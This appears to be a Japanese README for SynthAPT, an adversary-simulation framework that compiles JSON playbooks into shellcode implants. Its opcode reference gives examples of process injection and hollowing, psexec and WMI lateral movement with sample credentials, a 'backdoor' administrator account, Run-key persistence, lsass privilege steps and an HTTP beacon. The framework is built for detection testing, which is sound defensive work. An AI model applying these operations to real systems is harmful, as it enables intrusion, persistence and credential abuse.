SynthAPT

概要

SynthAPTは、複雑な攻撃経路を再現するためのプレイブックベースの adversary simulation フレームワークです。高度な検知機能やAIベースの調査エージェントを検証するために設計されています。中核となる考え方は、マルウェアの動作をJSONで表現し、それを機能的なマルウェアにコンパイルできることです。これにより、LLMを使用して現実的なシナリオを迅速に開発できます。

コアインプラントは、プレイブックインタプリタによって駆動されるシェルコードペイロードです。プレイブックは攻撃経路全体を事前に定義し、インプラントはそれに従い、プロセスインジェクションや横向き移動などを通じて環境内を移動します。各インプラントは独自の命令セットを持つ独立したスレッドとして起動するため、マルチステージ攻撃（例：初期アクセス → 権限昇格 → 横向き移動 → データ流出）は、連携するインプラントのグラフとして表現され、すべてプレイブック内で事前に定義されます。これには3つの大きな利点があります。

ペイロードはC2インフラストラクチャなしで実際のマルウェアを模倣できます。攻撃経路全体がペイロードに埋め込まれ、C2とのやり取りを模擬できます。
ペイロードは再現可能です。毎回まったく同じ攻撃経路を実行するため、検知機能の回帰テストに適しています。
LLMは脅威インテリジェンスレポートやブログを、攻撃の専門知識やゼロからのマルウェア構築を必要とせずに、動作可能なペイロードに直接変換できます。

機能

位置独立シェルコード - インプラントは完全にPICであり、任意のローダーやインジェクターに組み込めます。
豊富なオペコードライブラリ - 実行、トークン操作、プロセスインジェクション、プロセスハロウイング、横向き移動、AD列挙・変更、レジストリ、サービスなど。
自己複製ペイロード - インプラントは異なるタスクセットを持つEXEまたはDLLとして自身をドロップでき、C2なしでのマルチステージ配信が可能です。
柔軟な出力形式 - プレイブックを生のシェルコード、PE EXE、またはPE DLLにコンパイルできます。
インメモリPython - Pythonインタプリタを実行時にリフレクティブロードでき、すべてのインプラント機能をPythonモジュールとして公開し、柔軟なスクリプトが可能です。
NPCシミュレーション - 'explorer'オペコードを使用すると、ペイロードを自動的に解凍して起動し、ユーザー操作の痕跡を再現します（Explorer.exeにインジェクションした場合）。
LLMエージェント付きTUIエディタ - 端末ベースのプレイブックエディタにClaudeエージェントが統合されており、自然言語や脅威インテリジェンスからプレイブックを生成・編集できます。

フィールド	型
task	u8	オプション
magic	u32 hex string or number	オプション
{ "op": "get_shellcode" }
{ "op": "get_shellcode", "task": 5, "magic": "0x18181818" }

フィールド	種類
command	string	必須
{ "op": "run_command", "command": "whoami /all" }

フィールド	型
path	string	必須
{ "op": "read_file", "path": "c:\users\public\data.txt" }
{ "op": "read_file", "path": "%0" }

フィールド	タイプ
var	u16	必須
{ "op": "check_error", "var": 0 }

フィールド	型
var	u16	必須
data	bytes	省略可（省略時は空）

Field	Type
image	string	必須
task_id	u8	必須
pipe_name	string	オプション (出力をキャプチャする名前付きパイプ。`\\.\pipe\` プレフィックスなし)
search	string	オプション (PPIDを偽装するためのプロセス名/コマンドライン)
no_kill	bool	オプション (デフォルト: false — インジェクション後にプロセスは強制終了される)
{ "op": "sacrificial", "image": "C:\Windows\System32\notepad.exe", "task_id": 1 }
{ "op": "sacrificial", "image": "C:\Windows\System32\svchost.exe", "task_id": 1, "search": "services.exe", "pipe_name": "output" }

Field	Type
port	u16	必須
magic_base	u32 hex string or number	オプション
{ "op": "shellcode_server", "port": 8080 }
{ "op": "shellcode_server", "port": 8080, "magic_base": "0x18181818" }

Field	Type
target	string	必須 (ホスト名またはIP)
service_name	string	必須
display_name	string	必須
binary_path	string	必須 (リモートホスト上のパス)
service_bin	bytes	必須 (書き込むバイナリデータ)
{ "op": "psexec", "target": "192.168.1.10", "service_name": "MySvc", "display_name": "My Service", "binary_path": "c:\windows\temp\svc.exe", "service_bin": "$0" }

Field	Type
bof_data	bytes	必須
entry	string	オプション（デフォルト: `"go"`）
inputs	bytes	オプション（BOF引数、省略時は空）
{ "op": "run_bof", "bof_data": "%0", "entry": "go", "inputs": "" }
{ "op": "run_bof", "bof_data": "$0" }

フィールド	タイプ
dn	string	必須
attr	string	必須
value	string	必須
{ "op": "set_ad_attr_str", "dn": "CN=user,CN=Users,DC=corp,DC=local", "attr": "description", "value": "owned" }

Field	Type
targets	string	必須 (カンマ区切りのIP、CIDR、範囲、またはホスト名。エイリアス: `host`)
ports	string	必須 (カンマ区切りのポートまたは範囲。例: `"22,80,443,8000-8100"`)
{ "op": "portscan", "targets": "10.0.0.0/24", "ports": "22,80,443,445,3389" }
{ "op": "portscan", "targets": "192.168.1.1-192.168.1.50,dc01.corp.local", "ports": "80,8000-8100" }

フィールド	タイプ
group	string	必須
username	string	必須
server	string	オプション（空の場合はローカルマシン）
{ "op": "add_user_to_localgroup", "group": "Administrators", "username": "backdoor" }
{ "op": "add_user_to_localgroup", "server": "ws01", "group": "Remote Desktop Users", "username": "CORP\attacker" }

フィールド	タイプ
key	string	必須 (フルパス、例: `"HKLM\\SOFTWARE\\MyApp"`)
{ "op": "reg_create_key", "key": "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" }

フィールド	型
key	string	必須
value_name	string	必須 (空文字列の場合はデフォルト値)
value	bytes	必須
value_type	string	オプション (デフォルト: `"REG_SZ"`; 他: `REG_DWORD`, `REG_BINARY`, `REG_EXPAND_SZ`, `REG_MULTI_SZ`, `REG_QWORD`)
{ "op": "reg_set_value", "key": "HKCU\Software\Microsoft\Windows\CurrentVersion\Run", "value_name": "Updater", "value": "C:\Windows\Temp\payload.exe" }
{ "op": "reg_set_value", "key": "HKLM\SOFTWARE\MyApp", "value_name": "Count", "value_type": "REG_DWORD", "value": { "hex": "05000000" } }

Field	Type
privilege	string	必須 (alias: `priv_name`)
search	string	オプション (空 = 現在のプロセス)
{ "op": "enable_privilege", "privilege": "SeDebugPrivilege" }
{ "op": "enable_privilege", "search": "lsass", "privilege": "SeTcbPrivilege" }

Field	Type
command	string	必須
host	string	オプション (空の場合はローカルホスト)
user	string	オプション (空の場合は現在のユーザー)
pass	string	オプション (空の場合は現在の資格情報)
{ "op": "wmi_exec", "command": "calc.exe" }
{ "op": "wmi_exec", "command": "cmd.exe /c whoami", "host": "192.168.1.10", "user": "CORP\admin", "pass": "Password1" }

フィールド	タイプ
username	string	必須
password	string	必須
domain	string	オプション (空の場合はワークグループまたはUPN形式)
logon_type	u8	オプション (デフォルト: `9`; `2` = インタラクティブ, `3` = ネットワーク)
{ "op": "make_token", "domain": "corp", "username": "bob", "password": "Password1" }
{ "op": "make_token", "username": "[email protected]", "password": "Password1" }
{ "op": "make_token", "domain": ".", "username": "localadmin", "password": "Password1", "logon_type": 2 }

Field	Type
hook_id	i32	オプション (`frida_hook` で返されたフックID)
name	string	オプション (`frida_hook` の `name` フィールドで設定されたフック名)
{ "op": "frida_unhook" }
{ "op": "frida_unhook", "hook_id": 1 }
{ "op": "frida_unhook", "name": "my_hook" }

フィールド	型
host	string	任意
port	u16	任意 (デフォルト: `80`)
interval	u32	任意 (ポーリング間隔(ミリ秒); デフォルト: `5000`)
secure	bool	任意 (デフォルト: `false`)
agent_id	string	任意 (ビーコンリクエストで送信される識別子)
{ "op": "http_beacon", "host": "10.0.0.1", "port": 443, "interval": 10000, "secure": true }

フィールド	型
task_id	u8	必須
export_name	string	オプション (デフォルト: `"Run"`)
{ "op": "generate_dll", "task_id": 2 },
{ "op": "store_result", "var": 0 },
{ "op": "write_file", "path": "c:\temp\payload.dll", "content": "$0" }

Field	Type
path	string	required
{ "op": "load_library", "path": "C:\Users\Public\payload.dll" }

Field	Type
service_name	string	必須 (別名: `name`)
{ "op": "register_service", "service_name": "MySvc" }

Field	Type
pid	u32 または `"all"`	オプション（省略＝現在のプロセス、`"all"`＝アクセス可能な全プロセス）
{ "op": "dll_list" }
{ "op": "dll_list", "pid": 1234 }
{ "op": "dll_list", "pid": "all" }

フィールド	種類
pid	u32 または `"all"`	オプション (省略時 = 現在のプロセス; `"all"` = アクセス可能なすべてのプロセス)
{ "op": "malfind" }
{ "op": "malfind", "pid": 1234 }
{ "op": "malfind", "pid": "all" }

SynthAPT

人気

SynthAPT

概要

機能

ソースからのビルド

使い方

Opcodes リファレンス

get_shellcode (0x02)

run_command (0x04)

read_file (0x06)

check_error (0x08)

set_var (0x0A)

goto (0x0C)

list_procs (0x0E)

wmi_exec (0x10)

sacrificial (0x12)

shellcode_server (0x14)

psexec (0x16)

run_bof (0x18)

set_ad_attr_str (0x1A)

portscan (0x1C)

add_user_to_localgroup (0x1E)

get_user_sid (0x20)

remove_user_from_group (0x22)

reg_create_key (0x24)

reg_set_value (0x26)

make_token (0x28)

enable_privilege (0x2A)

list_thread_privs (0x2C)

revert_to_self (0x2E)

delete_service (0x30)

generate_dll (0x32)

shell_extract (0x34)

load_library (0x36)

hollow (0x38)

register_service (0x3A)

hollow_apc (0x3C)

frida_unhook (0x40)

http_beacon (0x43)

dll_list (0x45)

malfind (0x47)

Detection

Attribution